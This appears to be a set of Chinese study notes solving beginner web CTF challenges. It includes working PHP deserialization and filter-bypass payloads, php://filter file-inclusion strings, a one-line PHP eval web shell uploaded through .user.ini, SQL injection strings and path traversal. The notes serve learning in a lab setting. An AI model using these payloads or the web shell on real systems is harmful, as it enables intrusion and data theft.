1.反序列化题目
1.分析是什么类型的漏洞：观察代码 可知运用了反序列化函数 且它的参数可控 其次运用了wakeup函数 说明存在反序列话的漏洞
2.分析代码的思路
1. $ctf=@$_POST['ctf']; 用post 方式接受ctf这个参数
@unserialize(base64_decode($ctf)); 对ctf参数先进行base64的解码 然后对解码内容进行了反序列化
2. function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
反序列化之后就会调用wakeup这个函数 ： 这个函数的内容 是对参数的内容进行了循环遍历 执行WAF函数的内容
3. function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
这个WAF函数 是执行了过滤的操作 对参数的内容进行的过滤 过滤了 如下这些内容
在给定的代码中，call_user_func_array(array($this, $this->method), $this->args) 的作用是调用对象 $this 的方法 $this->method（也就是调用ping函数的方法 也就是destruct下面那个ping函数），并将 $this->args 数组作为参数传递给该方法。
这种用法通常用于动态地调用对象的方法，并根据需要传递不同的参数。通过将方法和参数封装到一个数组中，可以实现更灵活的调用方式。例如，可以在运行时决定要调用哪个方法，以及传递什么样的参数。
所以可以看出来这个$this->method调用的是ping这个方法 args就是所要传的参数 所以 从这里就可以看出来ctf需要传两个内容 一个是ping 另一个就是ping的内容了所以下面那个ping函数的内容那个$ip就是参数的内容 所以现在就需要构造这个参数的内容所以现在就需要构造payload 构造payload时候需要一个new ease的函数new ease 是创建 ease 类的一个对象实例。它使用 new 关键字来实例化一个对象，将 ease 类实例化为一个对象，使得该对象可以调用类中定义的方法和属性开始构造payload 首先需要ls一下 看看有没有flag的文件 由于 ls被过滤了 可以但那时\没有被过滤 所以我们可以使用l\s来绕过 因为在linux中 是可以这样拼接命令的 l\仍会继续 你继续输入s后会执行ls的命令<?phphighlight_file(__FILE__);class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } }$payload = new ease ('ping',array('l\s'));echo base64_encode(serialize($payload));
2.file_include题目
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
?filename=php://filter/resource=flag.php
发现并没有回显，猜测可能是页面源码里面有
发现并没有可能是被注释掉了
# 编码读取
?filename=php://filter/read=convert.base64-encode/resource=flag.php
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用base64_encode()和base64_decode()函数处理所有的流数据。convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-length，base64 输出将被用line-length个字符为 长度而截成块。如果给出了line-break-chars，每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上 chunk_split()相同。
convert.quoted
convert.quoted-printable-encode和convert.quoted-printable-decode使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和convert.quoted-printable-encode相对应的函数。convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和convert.base64-encode一样的附加参数外，convert.quoted-printable-encode还支持布尔参数binary和 force-encode-first。convert.base64-decode只支持line-break-chars参数作为从编码载荷中剥离的类型提示。
convert.iconv.*
这个过滤器需要php支持 iconv ，而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。
尝试使用convert.iconv.这个过滤器试试
利用方式如下：convert.iconv.utf8.utf8 必须后面跟两种字符编码的方式 但是如果一个一个试有点麻烦 用BP来多次进行尝试攻击
?filename=php://filter/convert.iconv.utf8.utf8/resource=flag.php
3.php代码审计
<?phphighlight_file(__FILE__);$key1 = 0;$key2 = 0;$a = $_GET['a'];$b = $_GET['b'];if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;}else{die("Emmm...再想想");}}else{die("Emmm...");}$c=(array)json_decode(@$_GET['c']);if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);$d === false?die("no..."):NULL;foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;}$key2 = 1;}else{die("no hack");}}else{die("no");}if($key1 && $key2){include "Hgfks.php";echo "You're right"."\n";echo $flag;}?>Emmm... $b = $_GET['b'];
以get方式传ab两个参数
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)如果传了a得值并且a经过intval转化后的整数得值要>6000000 并且a得长度小于等于3，但是这里就会有一个矛盾得点 又得大于6000000又得长度小于3我们可以用1e9来上传 1e9也就是 10的9次方这样就可以满足原题的条件if(isset($b) && '8b184b' === substr(md5($b),-6,6))如果传了一个b的值 并且还得满足后面的条件我们需要算出来这个b的值 用代码算即可代码如下<?php$b = 0;while(True){ if('8b184b' === substr(md5($b),-6,6)) { echo $b; break; } $b++;}举个例子，如果你通过URL发送了如下GET请求：
Copy Codehttp://example.com/script.php?c={"name":"John","age":30}那么上面的PHP代码将把URL中的"c"参数值解析为JSON对象，并转换为PHP数组，类似于下面的结果：
Copy Code$c = array( "name" => "John", "age" => 30);
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;如果c中名为n元素的值是数组 并且这个数组中有两个元素 并且第1个元素的值也是数组注意这个arraysearch是个弱类型的比较 是== 而不是 === 也就是说遍历c中n元素的值如果找到值==DGGJ 就继续下面的那个循环 如果找不到就返回FALSE 也就直接终止程序了接下来进入下面那个循环时 又遍历c中n元素的值 找DGGJ如果找到就终止程序这个时候就又有矛盾了 又需要值得等于DGGJ 又不能让她出现这个时候就需要array_search 这个弱类型的比较了因为他是== 而不是=== 这个时候 如果“cgy”==0 这个等式是 成立的
4.fileclude（仍是文件包含伪协议绕过）
WRONG WAY!<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"]) && isset($_GET["file2"])){$file1 = $_GET["file1"];$file2 = $_GET["file2"];if(!empty($file1) && !empty($file2)){if(file_get_contents($file2) === "hello ctf"){include($file1);}}elsedie("NONONO");}分析代码：
首先，它检查是否有名为"file1"和"file2"的GET参数传入。然后，将这两个参数的值分别赋给变量file1和file1和file2。接着，它检查file1和file1和file2是否都不为空。如果满足上述条件，并且file2的内容等于"hello ctf"，那么它会包含file2的内容等于"helloctf"，那么它会包含file1指定的文件。否则，会输出"NONONO"并终止程序。 现在需要上传file1与file2的值但是还必须将file2的值为hello ctf仍在考php的伪协议对于这个===hello ctf需要用
5.fileinclude
考点：考了cookie的利用 以及文件包含php伪协议的利用
<?phpif( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); }error_reporting(E_ALL);$lan = $_COOKIE['language'];if(!$lan){@setcookie("language","english");@include("english.php");}else{@include($lan.".php");}$x=file_get_contents('index.php');echo $x;?>
6.easyupload
考点：考文件上传漏洞
先上传.user.ini(必须是.user.ini文件 不能少点 要不然后面蚁剑连接不成功)文件使其包含一个图片 然后再上传一个图片，最后用蚁剑来连接GIF89a auto_prepend_file=a.jpg
GIF89a<?=eval($_REQUEST['cmd']);?> 
7.inget&robots
由此可见是考SQL注入的
用万能钥匙来获得flag即可?id=1'or 1=1 --+ 有时候需要双引号 有时候单引号 有时候不需要引号 即可获得flag
简单的理解：robots是告诉搜索引擎，你可以爬取收录我的什么页面，你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取，那些页面不可以被爬取。
主流的搜索引擎都会遵守robots协议。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后，会读取上面的协议，并准守协议爬取网站，收录网站。
robots文件是一个纯文本文件，也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分，或者指定搜索引擎只收录指定的内容。因此，robots的优化会直接影响到搜索引擎对网站的收录情况。
8. get_post&disabled_button&cookie
9. 备份文件&ics-06
10. PHP2
考点：URL解码：%+assic 16进制
11.robots
12. unserialize3&view_source
核心思想：不让wakeup这个函数执行 只有反序列化异常的情况下（也就是属性值个数大于属性个数的时候即异常）
有一个PHP的类：xctf
有一个flag的对象
wakeup的方法 如果触发了这个方法 就离开了 也就得不到flag的值
?code：将类以参数的形式传给xctf
目标：1.反序列化xctf
步骤：1.先序列化flag对象的值
<?phpclass xctf { public $flag = '111'; }$a = new xctf();echo serialize($a);?>
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
将1改成2即可绕过wakeup功能
提交url即可
注意：1.如果flag这个对象如果不是公有的对象是私有的话
且如果编译出来的序列化内容 类与对象连在一起 需要在xctf与flag间加%00
也就是改为 %00xctf%00flag
注意这个%00不是空格而是url编码
13.weak_auth&simple_php
14. NewsCenter（SQL注入）
where table_name="secret_table" # 注意secret_table 必须加上双引号 否则回显不了如果加上双引号也失败 可以将表名改为 十六进制 前面加上0x 例如：0x7365637265745f7461626c65 这样的目的是为了表示后面的数是16进制在编程里面一般都要加入 来区别十进制数
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7365637265745f7461626c65 # 注意 如果用16进制的话 就不需要加双引号了 同样有回显
15.upload1
16.xff_referer
X-Forwarded-For 尝试这个
抓包写即可
17.command_execution
远程代码执行漏洞
18.web2
<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){ //对字符串进行反转 如果是abc 那么就是 cba $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ //对字符串进行截取 从0开始 每次截取一个字符 $_c=substr($_o,$_0,1); // 返回ascii的值然后再+1 $__=ord($_c)+1; //把ascii值转会字符串 $_c=chr($__); //把字符串作了一个拼接 $_=$_.$_c; } return str_rot13(strrev(base64_encode($_)));}highlight_file(__FILE__);/* 逆向加密算法，解密$miwen就是flag*/?><?phpfunction decode($str){ $a=base64_decode((strrev(str_rot13($str)))); for($_0=0;$_0<strlen($a);$_0++){ //对字符串进行截取 从0开始 每次截取一个字符 $_c=substr($a,$_0,1); // 返回ascii的值然后再+1 $__=ord($_c)-1; //把ascii值转会字符串 $_c=chr($__); //把字符串作了一个拼接 $_=$_.$_c; } $b=strrev($_); echo "$b";}$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";decode($miwen);
19.Web_php_unserialize
考点：如何绕过正则 如何绕过wake up 函数<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?<?phpclass Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }$flag = new Demo('fl4g.php'); //注意加引号//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}//echo serialize($flag);$flag = serialize($flag);$flag = str_replace('O:4','O:+4',$flag);$flag = str_replace(':1:',':2:',$flag);echo base64_encode($flag);
20.supersqli
1';show columns from `1919810931114514`;#
21. warmup
?file=source.php%3F../../../../../ffffllllaaaagggg，发现结果！ 补充：include 可以包含多个文件 所以payload可以那么构造